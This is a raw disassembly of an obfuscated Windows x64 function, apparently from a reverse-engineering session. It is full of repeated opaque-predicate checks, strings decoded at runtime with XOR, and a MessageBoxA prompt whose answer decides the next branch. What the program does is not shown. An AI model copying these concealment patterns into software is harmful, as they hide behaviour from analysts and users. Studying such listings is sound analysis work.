mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002933d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002933d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002935d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
movdqa xmm0, xmmword [0x1400f2690]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400f2540]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x252187cc
mov dword [rbp + 0xbec], 0xd9b3e52c
mov dword [rbp + 0xbf0], 0x904f3123
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
movabs rbx, 0x1b6acfdbc
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.1400373c4
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x1400293b0
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140011378
mov rax, qword gs:[0x37]
cmp rax, r13
mov ebx, 0xaf7f77f7
jne 0x1400294ad
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002948d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002948d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400294ad
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140029557
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029537
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029537
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029557
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
lea rcx, [rbp + 0x9f8]
call fcn.1400279bc
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140011488
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.1400384e0
lea rcx, [rbp + 0x9f8]
call fcn.14003841c
lea rcx, [rbp + 0x9f8]
call fcn.140011998
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140029660
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029640
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029640
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029660
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002971b
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400296fb
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400296fb
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002971b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov dword [rbp - 0x68], 0xe9d6615c
mov word [rbp - 0x64], 0x7d23
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
movabs r14, 0x1b6acfdbc
mov qword [rsp + 0x20], r14
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.14003734c
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x14002973a
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0xe9d67345
mov word [rbp - 0x54], 0x7d23
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
mov rbx, r14
movabs r14, 0xccb3654c6870e515
mov qword [rsp + 0x20], rbx
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14003734c
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x14002978b
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.140038750
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.140038128
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14003827c
lea rcx, [rbp - 0x68]
call fcn.1400114e0
mov rcx, rax
call fcn.140011488
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.140037f68
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14003827c
lea rdx, [0x1401147e0]
lea rcx, [rbp + 0xa78]
call fcn.140038128
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14003827c
lea rcx, [rbp + 0xa78]
call fcn.14003841c
lea rcx, [rbp + 0xa78]
call fcn.140011998
lea rcx, [rbp + 0xa58]
call fcn.14003841c
lea rcx, [rbp + 0xa58]
call fcn.140011998
lea rcx, [rbp + 0xa38]
call fcn.14003841c
lea rcx, [rbp + 0xa38]
call fcn.140011998
mov rax, qword gs:[0x37]
cmp rax, r13
mov ebx, 0xaf7f77f7
jne 0x14002993b
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002991b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002991b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002993b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x1400299e5
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400299c5
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400299c5
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400299e5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
lea rcx, [rbp + 0x1208]
call fcn.140037d90
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.14009e1b0
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140029aba
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029a9a
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029a9a
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029aba
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140029b64
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029b44
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029b44
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029b64
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140011430
lea rcx, [rbp + 0x10e8]
call fcn.1400384b8
nop
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140029c2b
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029c0b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029c0b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029c2b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140029ce6
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029cc6
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029cc6
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029ce6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
lea rcx, [rbp + 0x11e8]
call fcn.140037d90
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.140027524
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140029db1
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029d91
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029d91
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029db1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov dword [rbp + 0x1e0], 0x251d0b78
mov dword [rbp + 0x1e4], 0x5a542677
mov dword [rbp + 0x1e8], 0x96a5650b
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r15
movabs rbx, 0x1b6acfdbc
mov qword [rsp + 0x20], rbx
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.1400372d4
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x140029de4
mov byte [rbp + 0x1ec], r15b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.140038a6c
test al, al
mov ebx, 0xaf7f77f7
je 0x14002a3b3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140029ee9
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029ec9
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029ec9
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029ee9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
movdqa xmm0, xmmword [0x1400f2640]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x4968e46d
mov word [rbp + 0x7cc], 0xe7fa
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r15
movabs r14, 0x1b6acfdbc
mov qword [rsp + 0x20], r14
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.1400371e8
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x140029f21
mov byte [rbp + 0x7ce], r15b
movdqa xmm0, xmmword [0x1400f2630]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400f2370]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [str.z_n]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400f2460]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400f2570]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400f26a0]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400f2520]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400f25c0]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x4eb85d35
mov word [rbp + 0xde4], 0x5162
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r15
mov rbx, r14
movabs r14, 0xccb3654c6870e515
mov qword [rsp + 0x20], rbx
mov r9d, 0x86
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.14003725c
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, 0x86
jb 0x14002a007
mov byte [rbp + 0xde6], r15b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rcx, qword gs:[0x37]
cmp rcx, r13
mov ebx, 0xaf7f77f7
jne 0x14002a112
mov rcx, qword gs:[0x45]
xor rcx, r12
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x45]
xor rcx, r12
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x45]
xor rcx, r12
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a0f2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a0f2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a112
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002a1cd
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a1ad
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a1ad
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a1cd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
cmp edi, 7
je 0x140036f5a
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002a280
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a260
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a260
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a280
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d288
int3
movdqa xmm0, xmmword [0x1400f24f0]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400f24b0]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400f2340]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r15
movabs rbx, 0x1b6acfdbc
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.140037174
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x14002a2bd
mov byte [rbp + 0xc57], r15b
lea rcx, [rbp + 0xc28]
call fcn.1400a16dc
mov rax, qword gs:[0x37]
cmp rax, r13
mov ebx, 0xaf7f77f7
jne 0x14002a3b3
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a393
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a393
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a3b3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
mov edi, 0xdcf4ae0
cmp rax, r13
jne 0x14002a470
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a450
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a450
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a470
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.1400382d8
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.140027b04
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.1400381b4
lea rcx, [rbp + 0xab8]
call fcn.14003841c
lea rcx, [rbp + 0xab8]
call fcn.140011998
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002a563
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a543
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a543
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a563
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002a61c
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a5fc
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a5fc
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a61c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.14003848c
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002a6d4
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a6b4
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a6b4
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a6d4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002a78d
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a76d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a76d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a78d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400a1b4c
mov rsi, rax
mov qword [rbp - 0x40], rax
mov rcx, qword gs:[0x37]
cmp rcx, r13
jne 0x14002a85b
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a83b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a83b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a85b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002a905
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a8e5
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a8e5
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a905
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov r14, qword [rbp + 0x10f8]
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002a9b6
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a996
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a996
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a9b6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
test rsi, rsi
je 0x140036c3c
cmp qword [rbp + 0x10f8], r15
